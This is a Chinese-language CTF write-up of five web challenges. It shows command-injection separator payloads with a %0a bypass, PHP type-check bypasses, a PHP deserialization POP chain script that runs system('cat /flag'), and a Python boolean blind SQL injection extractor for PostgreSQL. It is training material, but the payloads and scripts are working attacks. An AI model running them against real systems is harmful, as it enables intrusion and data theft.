1.lets_goooooo

1.观察页面的正常功能

打开该题的容器后发现是一个 ping 测试的页面,猜测其大概可能要通过测试联通性,绕过 WAF 来得到flag。

首先在里面输入127.0.0.1发现,上面的 URL 变成了 :30681/ping?host=127.0.0.1 这种格式,返回了

1
2
3
4
5
6
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.034 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.034/0.034/0.034/0.000 ms

说明其后端执行了这个命令,如果 host 被直接拼进 shell 命令,就可能存在命令注入。

1
ping -c 1 <host>

2.测试一下常见的命令分隔符

显示一下常见的分隔符然后再考虑使用哪一种命令注入。

1
2
3
4
5
6
7
8
9
10
127.0.0.1;id
127.0.0.1|id
127.0.0.1&&id
127.0.0.1$(id)
127.0.0.1 ||id
127.0.0.1 &id
127.0.0.1%0aid
127.0.0.1; `id` 或 127.0.0.1; $(id)
Windows 常见分隔符
如果题目环境是 Windows,核心分隔符通常是 &(顺序执行)和 |(管道)。

我这里介意使用 hackbar 进行一个测试,比较直观一点。

将上面所有的命令都执行一遍后,发现其它的信息都错误,只有/ping?host=127.0.0.1%0Aid输入后回显

1
uid=10001(ctf) gid=10001(ctf) groups=10001(ctf)

说明其并没有过滤 %0a的换行符,说明可以通过换行符在 shell 的命令执行。

3.查看一些信息

已经确定了命令执行,那么我们就可以去查看一些基本的信息。

1
2
3
4
id
pwd
ls
env

输入 ls 后看到有个 flag 的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app
bin
dev
entrypoint.sh
etc
flag
gzctf-flag-wrapper.sh
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

然后直接查看 flag 的内容:

1
/ping?host=127.0.0.1%0aenv

然后最后在一对的返回信息中找到了 flag。

1
FLAG=flag{ddfe0699-31be-4281-bbbb-531a2007ffb4}

2.LamentXU’s chal

打开容器后发现是一大段 版本为 PHP 8.5.8 的 PHP 代码。那没有什么好说的了,直接开始代码审计,判断到底该怎么构造 payload 。

1.分析代码

1
2
3
4
5
6
7
8
9
10
$userId = $_GET['userId'] ?? '';
$rawRole = $_GET['role'] ?? '';
$roleText = trim($rawRole);

function grantRole($userId, $roleId) {
if ($roleId === 1) {
$flag = file_get_contents('/flag');
echo $flag;
}
}

先看第一段最重要的代码,因为其涉及 flag 的显示,

这行代码是 PHP 7+ 的语法:意思是:**如果 $_GET['userId'] 存在且不为 null,就把它赋值给 $userId;否则赋值为空字符串 ''**下一段同理,说明最后要 GET 传递俩个参数。

trim() 是 PHP 内置函数,作用是去除字符串首尾的空白字符(默认包括空格、制表符 \t、换行 \n、回车 \r、垂直制表符 \v、NULL 字节 \0)。把 $rawRole 字符串两端的空白字符去掉,将处理后的结果赋值给 $roleText。接下来这段代码定义了一个函数表示如果 第二个参数的值 === 强制等于1(=== 是全等比较运算符(严格相等),它和 ==(相等)的区别是:=== 同时比较值和类型,== 只比较值(会做类型转换)。)然后就可以输出 flag。

2.接下来看看他做了哪些限制

1
2
3
4
if (strlen($userId) < 114) {
http_response_code(400);
exit('user id is too short');
}

第一个限制是对于 uerid 这个参数的长度限制,说明我们第一个参数长度必须大于等于114,可以尝试使用 114个a直接绕过。

1
2
3
4
if ($roleText === '1') {
http_response_code(403);
exit('admin role is forbidden');
}

这个是对 roletext 参数的限制是令他强制为 1 ,并且不能使其进行类型转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (preg_match('/[eE.]/', $roleText)) {
http_response_code(400);
exit('invalid role id');
}

if ($roleText[0] === '0') {
http_response_code(400);
exit('leading zero is forbidden');
}

if (!is_numeric($roleText)) {
http_response_code(400);
exit('invalid role id');
}

这三个限制从上到下,第一个的意思是过滤了 e``E``.这三个字符,是防止通过科学计数法进行一个绕过。所以这条路走不通。第二个限制是指你这个参数的第一位也就是开头不能为 0 逛感觉还是在限制绕过。第三个限制:$roleText 必须是数字(数字字符串 / 纯数字),否则直接返回 400 报错

1
$roleId = intval($rawRole);

这段代码的意思是intval($rawRole):把 $rawRole 强制转成整数,结果赋值给 $roleId。,所以第二个参数要满足这么多条件,那么就大概知道怎么构造 payload 了。可以使用+1进行一个绕过,刚好这个可以满足所有的限制。

那么最后的 payload 大概就可以确定为:

1
http://challenge.imxbt.cn:32207/?userId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&role=%2B1     由于实在URL中输入+1所以要进行编码。然后直接输人。

最后得到 flag .

1
flag{c692de40-8b82-42a0-8e52-ed20feee3df8}

3.sign

题目描述我从地狱杀回来了,打开容器后还以为自己看错了,咋一模一样和第二题,仔细看一眼,好像明白了为什么要叫地狱归来

1.观察容器状态。

因为基本上和上一个题一模一样。但是它多了2个限制就是:

1
2
3
if (str_contains($roleText, '+') || str_contains($roleText, '-')) {
http_response_code(200);
exit('sign character is forbidden');

把上面一道题的 payload 的+和-号全给禁用了。

1
2
3
4
if (!preg_match('/[0-9]/', $roleText)) {
http_response_code(200);
exit('invalid role id');
}

第二个限制是把所有的数字字符给禁用了,其他的一模一样,这该怎么办呢?

发现第二个限制它只检查 $roleText 里面 是否至少包含一个数字,并没有要求整个字符串必须是纯数字。所以:

而最后:

1
$roleId = intval($rawRole);

intval() 的规则是:从字符串开头解析数字,遇到第一个非数字字符就停止。

例如:

1
2
intval('1x')   // 1
intval('1abc') // 1

2.直接构造

1
http://challenge.imxbt.cn:30364/?userId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&role=1x

最后依旧拿到了 flag 喵!

1
flag{42004c09-95e1-4161-ac54-4749f3d65baa}

这个题的本质上依旧是字符串校验和整数转换规则不一致。

4.unserialize

做题固定思考顺序(小白版): ① 先找危险函数:system /exec/shell_exec /file_put_contents 这些能搞事情的 ② 看这个危险函数在哪个方法里面,这个方法靠哪个魔术触发?(本题 system 在__destruct) ③ 把这个方法里所有 if 条件全部抄下来,看每一个条件要怎么满足 ④ 看有没有拦路虎(比如本题 SecurityValidator 的 __wakeup 校验) ⑤ 看源码剩下的其他类,有没有别的魔术方法可以用来绕这个拦路虎(Mutator 就是用来绕的跳板)

先了解一下反序列化的魔术方法:

魔术方法是什么?(反序列化最核心!)

魔术方法就是:满足某个条件时,PHP 自动帮你调用的函数,不需要你手动写 ->xxx() 反序列化漏洞几乎全靠魔术方法触发。

只先记 4 个最常用的,别的后面再说:

  1. __wakeup()

触发时机:unserialize () 还原完对象的一瞬间,自动执行! 作用:开发者经常在这里写校验(比如刚才题目里检查 mode 是不是 safe) 坑:我们想改属性,但是一改,wakeup 直接 die,这就是这道题的难点

  1. __destruct() 【POP 链最喜欢的终点】

触发时机:这个对象被销毁的时候自动执行 什么时候销毁?

  • unset($obj)
  • 脚本运行结束,PHP 自动回收变量 这道题里 unset($obj) 就是主动触发它!里面放了危险函数 system()
  1. __toString()

触发时机:把对象当成字符串来用的时候,比如 echo $obj;

  1. __call()

触发时机:调用一个对象不存在的方法的时候

1.代码审计

这道题是 PHP 反序列化 + __wakeup 绕过 + 引用对象属性修改。目标是让 CommandExecutor::__destruct() 最终执行 system($command)。

SecurityValidator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class SecurityValidator {
private $mode;
private $data;

public function __wakeup() {
if ($this->mode !== 'safe') {
die("Security violation detected");
}
}

public function getMode() {
return $this->mode;
}
}

反序列化 SecurityValidator 时,$mode 必须是 "safe",否则直接退出。

CommandExecutor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function __destruct() {
if (!$this->enabled) {
return;
}

if (!($this->validator instanceof SecurityValidator)) {
die("Invalid validator type");
}

if ($this->validator->getMode() === 'safe') {
die("Safe mode active");
}

system($this->command);
}

要执行命令,需要同时满足:

1
2
3
enabled = true
validator 是 SecurityValidator 对象
validator->mode !== "safe"

问题在于 SecurityValidator::__wakeup() 会阻止 mode !== "safe"。

Mutator

1
2
3
4
5
6
7
8
9
class Mutator {
public $ref;

public function __wakeup() {
if (is_string($this->ref)) {
$this->ref = "hacked";
}
}
}

这个类表面上没有直接作用,但可以通过 PHP 序列化引用,把 $ref 指向 SecurityValidator 的 $mode 属性。

这样会发生:

  1. SecurityValidator 反序列化时,mode 仍是 "safe",__wakeup() 通过。
  2. Mutator 随后反序列化,它的 $ref 指向同一个 mode 值。
  3. Mutator::__wakeup() 把 $ref 从 "safe" 改成 "hacked"。
  4. 因为 $ref 和 SecurityValidator::$mode 是引用关系,$mode 也变成了 "hacked"。
  5. CommandExecutor 析构时,getMode() 返回 "hacked",安全判断被绕过,执行 system()

2. 构造序列化数据

利用顺序是一个数组:

1
[ CommandExecutor, Mutator ]

其中 CommandExecutor 内部包含:

  • validator:SecurityValidator,初始 mode = "safe"
  • command:cat /flag
  • enabled:true

而 Mutator::$ref 使用 R:4 引用前面的 SecurityValidator::$mode。

R:4 的含义是引用序列化数据中的第 4 个值:

1
2
3
4
1. 根数组
2. CommandExecutor 对象
3. SecurityValidator 对象
4. SecurityValidator 的 mode 字符串 "safe"

因此 Mutator::$ref 最终和 $mode 指向同一个值。

3. 利用脚本

因为 PHP 私有属性序列化时包含 \0 空字节,手工构造比较麻烦,可以用 Python 生成并发送:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

url = "http://challenge.imxbt.cn:31952/"
N = "\0"

def s(value):
b = value.encode()
return f's:{len(b)}:"{value}";'

validator = (
'O:17:"SecurityValidator":2:{'
+ s(N + "SecurityValidator" + N + "mode") + 's:4:"safe";'
+ s(N + "SecurityValidator" + N + "data") + 'N;'
+ '}'
)

executor = (
'O:15:"CommandExecutor":3:{'
+ s(N + "CommandExecutor" + N + "validator") + validator
+ s(N + "CommandExecutor" + N + "command") + s("cat /flag")
+ s(N + "CommandExecutor" + N + "enabled") + 'b:1;'
+ '}'
)

mutator = (
'O:7:"Mutator":1:{'
+ s("ref") + 'R:4;'
+ '}'
)

payload = "a:2:{i:0;" + executor + "i:1;" + mutator + "}"

r = requests.post(url, data={"data": payload}, timeout=20)
print(r.text)

执行结果:

1
flag{59a6aaa4-24fa-48a1-a7a5-f9a03923ab5a}

5.ezphp

题目描述:这出题人真是奇怪,这题还是黑盒,怎么做啊。

1.容器分析

打开容器后发现一个搜索框,没有其他的信息,然后发现有个 source的按钮,点进去以后发现了一大堆的php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
declare(strict_types=1);

require_once dirname(__DIR__) . '/config.php';

header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');

function respond(int $status, array $payload): never
{
http_response_code($status);
echo json_encode($payload, JSON_UNESCAPED_SLASHES);
exit;
}

$code = $_GET['code'] ?? '';
if (!is_string($code) || $code === '' || strlen($code) > 180) {
respond(400, ['error' => 'share code must contain 1-180 characters']);
}

// Old gateway rules. SQL metacharacters are left to ext-pgsql's escaping.
if (preg_match('/[;\x00-\x1f\x7f]/', $code) === 1) {
respond(400, ['error' => 'unsupported character']);
}
if (preg_match('/\b(select|union|returning|copy)\b|\bpg_|information_schema/i', $code) === 1) {
respond(400, ['error' => 'query syntax is not a share code']);
}

// Schema: documents(share_code, title, body, is_public).
$filters = [
'share_code' => $code,
'is_public' => true,
];

set_error_handler(static fn (): bool => true);
try {
$rows = pg_select(database(), 'documents', $filters, PGSQL_DML_EXEC);
} catch (Throwable) {
$rows = false;
} finally {
restore_error_handler();
}

respond(200, [
'found' => is_array($rows) && count($rows) > 0,
]);
  1. 数据库是 PostgreSQL,用 pg_select() 构造查询,PGSQL_DML_EXEC 表示直接执行。

  2. 等价 SQL:

    1
    SELECT * FROM "documents" WHERE "share_code" = '<转义后的code>' AND "is_public" = 't'
  3. 回显只有 {"found":true/false},是布尔盲注环境,读不出字段内容,只能问”真/假”。

  4. 过滤清单:

    • 必须 string、1~180 字符(is_string 挡住了 code[]= 数组攻击)
    • 禁止 ;、\x00–\x1f、\x7f(不能堆叠语句、不能塞换行/空字节)
    • 单词黑名单(\b 边界、不区分大小写):select、union、returning、copy、pg_、information_schema
    • 没有拦 and / or / substring / ascii / length / length / ~ / like / $$
  5. is_public => true 写死在 PHP 里,改不了 —— 但注意它是拼在 AND "is_public" = 't' 的末尾,只要注入点能注释掉后半段,这个限制就失效。且发现了注入点。

2.尝试一下闭合方式:

# code 返回 说明
1 WELCOME26 true 基线,公开记录存在
2 VAULT false 受限记录被 is_public=true 过滤
3 zzz false 不存在的 code
4 a' false 单引号被转义,未注入
5 a\' OR 1=1-- true 注入成功!
6 a\' OR 1=1 false 没有 -- 收尾,语法不成立
7 a\' OR TRUE-- true 逻辑注入生效
8 a\' OR title IS NOT NULL-- true 能直接引用字段
9 a\' OR length(title)>0-- true 能调用函数
10 a\' OR 900=901-- false 条件为假时确实为 false,冒烟测试可信
11 a\' AND 1=1-- false 左半 share_code='a\' 恒假
12 a\\' OR 1=1--(2 个反斜杠) false 偶数个反斜杠无法逃逸
13 a\\\' OR 1=1--(3 个反斜杠) true 奇数个反斜杠逃逸成功

最后得出结论,当\为奇数是,其与单引号闭合才能构成一个SQL注入的语句,并且返回的结果只有true和flase,所以是一个php代码结合布尔盲注的题目,此时 绕过”不能再写单引号”的限制

因为所有 ' 都会被转义,所以payload 里不能再出现任何单引号(否则结构会被破坏)。
比如 a\' OR share_code='VAULT'-- 实测返回 false,就是因为 'VAULT' 这两个引号也被转义了。

解决办法:用 PostgreSQL 的美元引号(dollar-quoting)替代单引号字符串:

1
share_code = $$VAULT$$

$$...$$ 是 PostgreSQL 特有的字符串字面量写法,里面不需要转义单引号,而且 $ 不在黑名单里(黑名单只拦 ;、控制字符、select 等单词)。

绕过 \bselect\b 黑名单

\bselect\b 拦的是独立单词 select。
所以不要写子查询,直接在关系表达式里对字段做比较/函数运算即可:

1
share_code=$$VAULT$$ AND ascii(substring(body,1,1))>0

整条 payload 里没有 select 三个字母连在一起,直接绕过。这也是本题设计的关键点 —— 不需要 select 就能读到字段。

绕过 is_public = true

注入点位于 share_code = '...' 内部,AND "is_public" = 't' 在其后面。
用 -- 把它注释掉,就完全不受”只能查公开记录”的限制:

1
... OR (<我们的条件>)--

-- 之后整行都被注释,包括那个 SQL 模板自带的收尾单引号和 AND is_public = 't'。


  1. 最终 payload 模板
1
a\' OR (share_code=$$VAULT$$ AND (<布尔条件>))--

长度约 78 字符,远小于 180 上限;不含 ;、不含控制字符、不含 select / union / pg_ / information_schema,全部过滤项通过。

5.1 验证性 payload

1
http://challenge.imxbt.cn:30479/api/lookup.php?code=a%5C%27%20OR%20(share_code%3D%24%24VAULT%24%24)--

返回 {"found":true} → 说明 VAULT 记录确实存在且注入通路打通。

5.2 取长度

1
a\' OR (share_code=$$VAULT$$ AND (length(body)=43))--

实测 length(body) = 43。

返回found说明可行,然后直接利用布尔盲注的脚本找到flag就行了。

3.构造布尔盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import json
import sys
import time
import urllib.parse
import urllib.request

BASE = "http://challenge.imxbt.cn:30479/api/lookup.php"


def oracle(expr, retries=3):
"""Return True when the injected condition is true (found:true)."""
payload = "a\\' OR (share_code=$$VAULT$$ AND (%s))--" % expr
url = BASE + "?code=" + urllib.parse.quote(payload, safe="")
last = None
for _ in range(retries):
try:
with urllib.request.urlopen(url, timeout=15) as r:
body = r.read().decode("utf-8", "replace")
last = json.loads(body).get("found") is True
return last
except Exception as e:
last = e
time.sleep(1)
raise RuntimeError("request failed: %r" % (last,))


def ge_int(expr_template, n):
"""True when <number produced by template with n> >= n, used for binary search."""
return oracle(expr_template % n)


def get_length():
lo, hi = 0, 1024
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle("length(body) >= %d" % mid):
lo = mid
else:
hi = mid - 1
return lo


def get_codepoint(pos):
lo, hi = 0, 300
# find upper bound where ascii >= hi is false
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle("ascii(substring(body,%d,1)) >= %d" % (pos, mid)):
lo = mid
else:
hi = mid - 1
return lo


def main():
n = get_length()
print("[+] length(body) =", n, flush=True)
out = []
for p in range(1, n + 1):
cp = get_codepoint(p)
if cp == 0:
print("[!] pos %d returned 0, stop" % p, flush=True)
break
out.append(chr(cp))
print("[+] %d -> %r | %s" % (p, chr(cp), "".join(out)), flush=True)
text = "".join(out)
print("\n===== body =====")
print(text)


if __name__ == "__main__":
main()

这个题还是有点难喵!

剩下的三道web题

由于作者能力有限,只能做到这里了,容器也加载不出来,附件页下载不了,无能为力了喵,燃尽了。